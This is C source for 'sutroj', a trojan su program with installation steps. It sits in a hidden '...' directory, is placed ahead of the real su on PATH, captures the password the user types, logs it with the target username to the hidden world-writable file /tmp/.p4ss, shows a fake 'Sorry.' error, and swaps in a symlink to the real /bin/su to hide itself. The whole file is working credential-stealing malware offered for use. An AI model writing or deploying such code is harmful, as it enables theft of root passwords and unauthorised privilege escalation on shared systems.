/*
 * sutroj.c 
 * by bind 
 *
 * Written as a replacment for all the fucked up su trojans.
 * 
 * Installation: assuming sutroj.c is in $HOME
 * 1.) mkdir ~/...
 * 2.) cd ... ; mv ../sutroj.c ./su.c
 * 3.) gcc -o su su.c
 * 4.) echo 'PATH=$HOME/...:$PATH' >> ~/.bash_profile
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

#define FILE "/tmp/.p4ss"
#define ERROR "Sorry."

int main(int argc, char *argv[])
{
  char buffer[20];
  char command[30];
  char user[10];
  char *path;
  int output;

  system("echo \"rm $HOME/.../su; ln -s /bin/su $HOME/.../su ; rm $HOME/.../script\" > $HOME/.../script");
  system("chmod +x $HOME/.../script");

  if(argv[1] != NULL)
    sprintf(user,"%s -> ",argv[1]);
  else sprintf(user,"root -> ");

  snprintf(buffer,sizeof(buffer),"%s\n",getpass("Password: "));

  output = open(FILE,O_CREAT | O_WRONLY | O_APPEND,0666);
 
  if(user != NULL)
    write(output,user,strlen(user));

  write(output,buffer, strlen(buffer)); 

  close(output);
 
  printf("%s\n",ERROR);
  system("script");
}
